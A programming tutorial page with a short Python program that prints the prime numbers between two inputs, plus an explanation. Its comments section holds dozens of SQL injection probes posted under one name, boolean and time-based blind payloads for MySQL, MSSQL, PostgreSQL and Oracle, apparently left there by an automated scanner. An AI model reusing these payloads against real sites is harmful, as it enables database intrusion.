Python Program for Prime numbers between two numbers

Get two inputs x and y and print all the prime numbers between x and y.

Sample Input 1 :

10 40

Sample Output 1 :

11 13 17 19 23 29 31 37

Program or Solution

				
				
					

#Python Program to print prime numbers between x and y

x = int(input("Enter a Number X:")) #get input x

y = int(input("Enter a Number Y:")) #get input y

#start your travel from x to y

for n in range(x,y+1):

#check which are the numbers from 2 to n/2 divides n.

#No other after n/2 divides n except n


    for i in range(2,n//2+1):

        if n % i == 0: #if divisible then it is not prime.

            break

    else: #this is else of for  statement. executes after last iteration if loop is not broken at any iteration.

        print("{} ".format(n))

Program Explanation

Prime numbers are numbers those only divisible by 1 and same. using a outer for loop we check take every number n from x to y 

Inner for loop checks each number is prime or not, if prime it prints the  n.

Comments

ubaTaeCJ
-1 OR 2+494-494-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+494-494-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+494-494) --
ubaTaeCJ
-1 OR 3*2>(0+5+494-494) --
ubaTaeCJ
-1 OR 2+946-946-1=0+0+0+1
ubaTaeCJ
-1 OR 3+946-946-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+946-946)
ubaTaeCJ
-1 OR 3*2>(0+5+946-946)
ubaTaeCJ
-1' OR 2+442-442-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+442-442-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+442-442) --
ubaTaeCJ
-1' OR 3*2>(0+5+442-442) --
ubaTaeCJ
-1' OR 2+827-827-1=0+0+0+1 or 'N4t5TNSU'='
ubaTaeCJ
-1' OR 3+827-827-1=0+0+0+1 or 'N4t5TNSU'='
ubaTaeCJ
-1' OR 3*2<(0+5+827-827) or 'N4t5TNSU'='
ubaTaeCJ
-1' OR 3*2>(0+5+827-827) or 'N4t5TNSU'='
ubaTaeCJ
-1" OR 2+598-598-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+598-598-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2>(0+5+598-598) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
7yaBNO7k'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 489=(SELECT 489 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 99=(SELECT 99 FROM PG_SLEEP(3))--
ubaTaeCJ
-1)) OR 531=(SELECT 531 FROM PG_SLEEP(15))--
ubaTaeCJ
1xGGLXr4' OR 350=(SELECT 350 FROM PG_SLEEP(15))--
ubaTaeCJ
O1OXKsOX') OR 456=(SELECT 456 FROM PG_SLEEP(15))--
ubaTaeCJ
ItwBS7hB')) OR 75=(SELECT 75 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@HfE8A